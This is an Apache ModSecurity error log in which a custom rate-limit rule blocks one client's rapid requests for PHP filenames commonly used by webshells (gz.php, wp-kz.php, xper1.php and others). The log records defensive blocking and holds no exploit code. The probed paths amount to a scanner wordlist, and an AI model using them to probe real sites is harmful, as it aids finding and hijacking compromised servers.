[Sat Apr 18 05:05:35.549801 2026] [:error] [pid 9864:tid 9912] [client 172.213.226.43:7027] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gz.php"] [unique_id "aeKgn4CFeowknfXHM7kilwAAAEY"]
[Sat Apr 18 05:05:37.777082 2026] [:error] [pid 9865:tid 9943] [client 172.213.226.43:7039] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gz.php"] [unique_id "aeKgoazb5knECIY-C-iN6wAAAIY"]
[Sat Apr 18 05:05:40.354202 2026] [:error] [pid 9864:tid 9920] [client 172.213.226.43:7034] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gz.php"] [unique_id "aeKgpICFeowknfXHM7kinQAAAE4"]
[Sat Apr 18 05:05:41.673383 2026] [:error] [pid 9864:tid 9913] [client 172.213.226.43:7097] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "aeKgpYCFeowknfXHM7kiowAAAEc"]
[Sat Apr 18 05:05:42.597114 2026] [:error] [pid 9863:tid 9881] [client 172.213.226.43:7008] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "aeKgpjjjiypiFrTucbL9CAAAAAg"]
[Sat Apr 18 05:05:43.434168 2026] [:error] [pid 9970:tid 9991] [client 172.213.226.43:7166] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "aeKgpyYdRLRhVmaIMx2j_gAAANE"]
[Sat Apr 18 05:05:44.266329 2026] [:error] [pid 9865:tid 9937] [client 172.213.226.43:7147] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelio1.php"] [unique_id "aeKgqKzb5knECIY-C-iN-QAAAIA"]
[Sat Apr 18 05:05:45.483137 2026] [:error] [pid 9865:tid 9944] [client 172.213.226.43:6951] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/areak1.php"] [unique_id "aeKgqazb5knECIY-C-iN_wAAAIc"]
[Sat Apr 18 05:05:46.378736 2026] [:error] [pid 9970:tid 9985] [client 172.213.226.43:7113] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/areak1.php"] [unique_id "aeKgqiYdRLRhVmaIMx2kMQAAAMs"]
[Sat Apr 18 05:05:47.731992 2026] [:error] [pid 9970:tid 9986] [client 172.213.226.43:6918] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/areak1.php"] [unique_id "aeKgqyYdRLRhVmaIMx2kOQAAAMw"]
[Sat Apr 18 05:05:48.495012 2026] [:error] [pid 9970:tid 9980] [client 172.213.226.43:7022] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/areak1.php"] [unique_id "aeKgrCYdRLRhVmaIMx2kPAAAAMY"]
[Sat Apr 18 05:05:51.235144 2026] [:error] [pid 9970:tid 9975] [client 172.213.226.43:6946] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qqa.php"] [unique_id "aeKgryYdRLRhVmaIMx2kVgAAAME"]
[Sat Apr 18 05:05:52.740336 2026] [:error] [pid 9863:tid 9897] [client 172.213.226.43:7014] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qqa.php"] [unique_id "aeKgsDjjiypiFrTucbL9EAAAABg"]
[Sat Apr 18 05:05:53.617181 2026] [:error] [pid 9864:tid 9915] [client 172.213.226.43:6973] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qqa.php"] [unique_id "aeKgsYCFeowknfXHM7kiqgAAAEk"]
[Sat Apr 18 05:05:54.405296 2026] [:error] [pid 9864:tid 9917] [client 172.213.226.43:6989] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/qqa.php"] [unique_id "aeKgsoCFeowknfXHM7kirAAAAEs"]
[Sat Apr 18 05:05:55.195890 2026] [:error] [pid 9970:tid 9989] [client 172.213.226.43:6924] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aeKgsyYdRLRhVmaIMx2kaQAAAM8"]
[Sat Apr 18 05:05:56.457734 2026] [:error] [pid 9970:tid 9983] [client 172.213.226.43:7098] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aeKgtCYdRLRhVmaIMx2kbgAAAMk"]
[Sat Apr 18 05:05:57.745771 2026] [:error] [pid 9970:tid 9978] [client 172.213.226.43:7078] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aeKgtSYdRLRhVmaIMx2kcwAAAMQ"]
[Sat Apr 18 05:05:58.719227 2026] [:error] [pid 9864:tid 9905] [client 172.213.226.43:6952] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aeKgtoCFeowknfXHM7kisQAAAEA"]
[Sat Apr 18 05:05:59.355868 2026] [:error] [pid 9970:tid 9997] [client 172.213.226.43:6954] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ga.php"] [unique_id "aeKgtyYdRLRhVmaIMx2kfQAAANc"]
[Sat Apr 18 05:06:00.402192 2026] [:error] [pid 9864:tid 9928] [client 172.213.226.43:6914] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ga.php"] [unique_id "aeKguICFeowknfXHM7kisgAAAFY"]
[Sat Apr 18 05:06:01.404670 2026] [:error] [pid 9863:tid 9896] [client 172.213.226.43:6932] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ga.php"] [unique_id "aeKguTjjiypiFrTucbL9GAAAABc"]
[Sat Apr 18 05:06:02.140472 2026] [:error] [pid 9864:tid 9921] [client 172.213.226.43:7154] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ga.php"] [unique_id "aeKguoCFeowknfXHM7kiswAAAE8"]
[Sat Apr 18 05:06:03.079166 2026] [:error] [pid 9864:tid 9923] [client 172.213.226.43:6967] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xozx.php"] [unique_id "aeKgu4CFeowknfXHM7kitAAAAFE"]
[Sat Apr 18 05:06:04.111339 2026] [:error] [pid 9864:tid 9907] [client 172.213.226.43:7004] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xozx.php"] [unique_id "aeKgvICFeowknfXHM7kitQAAAEI"]
[Sat Apr 18 05:06:05.173136 2026] [:error] [pid 9865:tid 9961] [client 172.213.226.43:6983] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xozx.php"] [unique_id "aeKgvazb5knECIY-C-iODQAAAJg"]
[Sat Apr 18 05:06:08.071780 2026] [:error] [pid 9864:tid 9908] [client 172.213.226.43:6941] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xozx.php"] [unique_id "aeKgwICFeowknfXHM7kiuQAAAEM"]
[Sat Apr 18 05:06:10.689806 2026] [:error] [pid 9865:tid 9961] [client 172.213.226.43:6995] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1100.php"] [unique_id "aeKgwqzb5knECIY-C-iOHAAAAJg"]
[Sat Apr 18 05:06:14.985048 2026] [:error] [pid 9863:tid 9882] [client 172.213.226.43:7036] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "aeKgxjjjiypiFrTucbL9MgAAAAk"]
[Sat Apr 18 05:06:16.003566 2026] [:error] [pid 9970:tid 9994] [client 172.213.226.43:6971] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "aeKgyCYdRLRhVmaIMx2kygAAANQ"]
[Sat Apr 18 05:06:17.271192 2026] [:error] [pid 9864:tid 9917] [client 172.213.226.43:6975] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "aeKgyYCFeowknfXHM7kiygAAAEs"]
[Sat Apr 18 05:06:18.272971 2026] [:error] [pid 9865:tid 9939] [client 172.213.226.43:7167] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "aeKgyqzb5knECIY-C-iOKQAAAII"]
[Sat Apr 18 05:06:19.917273 2026] [:error] [pid 9970:tid 9991] [client 172.213.226.43:6999] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kz.php"] [unique_id "aeKgyyYdRLRhVmaIMx2k6QAAANE"]
[Sat Apr 18 05:06:20.710949 2026] [:error] [pid 9865:tid 9941] [client 172.213.226.43:6873] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kz.php"] [unique_id "aeKgzKzb5knECIY-C-iOMQAAAIQ"]
[Sat Apr 18 05:06:22.401530 2026] [:error] [pid 9863:tid 9878] [client 172.213.226.43:6979] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kz.php"] [unique_id "aeKgzjjjiypiFrTucbL9OwAAAAU"]
[Sat Apr 18 05:06:23.918716 2026] [:error] [pid 9970:tid 9974] [client 172.213.226.43:6859] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-kz.php"] [unique_id "aeKgzyYdRLRhVmaIMx2lAgAAAMA"]
[Sat Apr 18 05:06:24.765861 2026] [:error] [pid 9970:tid 9984] [client 172.213.226.43:7012] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-lo.php"] [unique_id "aeKg0CYdRLRhVmaIMx2lCAAAAMo"]
[Sat Apr 18 05:06:25.371317 2026] [:error] [pid 9865:tid 9954] [client 172.213.226.43:6935] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-lo.php"] [unique_id "aeKg0azb5knECIY-C-iOOAAAAJE"]
[Sat Apr 18 05:06:26.008025 2026] [:error] [pid 9864:tid 9906] [client 172.213.226.43:6982] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-lo.php"] [unique_id "aeKg0oCFeowknfXHM7ki0gAAAEE"]
[Sat Apr 18 05:06:27.233676 2026] [:error] [pid 9970:tid 9976] [client 172.213.226.43:7059] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-lo.php"] [unique_id "aeKg0yYdRLRhVmaIMx2lFQAAAMI"]
[Sat Apr 18 05:06:28.078842 2026] [:error] [pid 9864:tid 9921] [client 172.213.226.43:7043] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aeKg1ICFeowknfXHM7ki1wAAAE8"]
[Sat Apr 18 05:06:28.919853 2026] [:error] [pid 9970:tid 9995] [client 172.213.226.43:7123] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aeKg1CYdRLRhVmaIMx2lHQAAANU"]
[Sat Apr 18 05:06:29.671622 2026] [:error] [pid 9970:tid 9985] [client 172.213.226.43:7162] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aeKg1SYdRLRhVmaIMx2lIgAAAMs"]
[Sat Apr 18 05:06:30.616340 2026] [:error] [pid 9863:tid 9885] [client 172.213.226.43:6939] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "aeKg1jjjiypiFrTucbL9RwAAAAw"]
[Sat Apr 18 05:06:31.739005 2026] [:error] [pid 9970:tid 9976] [client 172.213.226.43:6937] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ipv6.php"] [unique_id "aeKg1yYdRLRhVmaIMx2lLQAAAMI"]
[Sat Apr 18 05:06:32.916969 2026] [:error] [pid 9970:tid 9987] [client 172.213.226.43:6976] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ipv6.php"] [unique_id "aeKg2CYdRLRhVmaIMx2lNAAAAM0"]
[Sat Apr 18 05:06:34.024545 2026] [:error] [pid 9865:tid 9956] [client 172.213.226.43:7029] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ipv6.php"] [unique_id "aeKg2qzb5knECIY-C-iOQwAAAJM"]
[Sat Apr 18 05:06:34.605684 2026] [:error] [pid 9864:tid 9930] [client 172.213.226.43:6917] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ipv6.php"] [unique_id "aeKg2oCFeowknfXHM7ki3AAAAFg"]
[Sat Apr 18 05:06:35.464735 2026] [:error] [pid 9865:tid 9943] [client 172.213.226.43:6968] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-gertdxz.php"] [unique_id "aeKg26zb5knECIY-C-iOSQAAAIY"]
[Sat Apr 18 05:06:36.164907 2026] [:error] [pid 9970:tid 9979] [client 172.213.226.43:7048] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-gertdxz.php"] [unique_id "aeKg3CYdRLRhVmaIMx2lRwAAAMU"]
[Sat Apr 18 05:06:37.384496 2026] [:error] [pid 9865:tid 9945] [client 172.213.226.43:6959] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-gertdxz.php"] [unique_id "aeKg3azb5knECIY-C-iOTAAAAIg"]
[Sat Apr 18 05:06:38.502889 2026] [:error] [pid 9864:tid 9908] [client 172.213.226.43:6942] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-gertdxz.php"] [unique_id "aeKg3oCFeowknfXHM7ki3gAAAEM"]
[Sat Apr 18 05:06:40.785079 2026] [:error] [pid 9970:tid 9982] [client 172.213.226.43:6994] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "aeKg4CYdRLRhVmaIMx2lZAAAAMg"]
[Sat Apr 18 05:06:42.294352 2026] [:error] [pid 9970:tid 9980] [client 172.213.226.43:7106] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "aeKg4iYdRLRhVmaIMx2lcAAAAMY"]
[Sat Apr 18 05:06:43.467276 2026] [:error] [pid 9865:tid 9961] [client 172.213.226.43:7127] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "aeKg46zb5knECIY-C-iOaQAAAJg"]
[Sat Apr 18 05:06:44.303842 2026] [:error] [pid 9864:tid 9905] [client 172.213.226.43:7157] [client 172.213.226.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xper1.php"] [unique_id "aeKg5ICFeowknfXHM7ki5wAAAEA"]
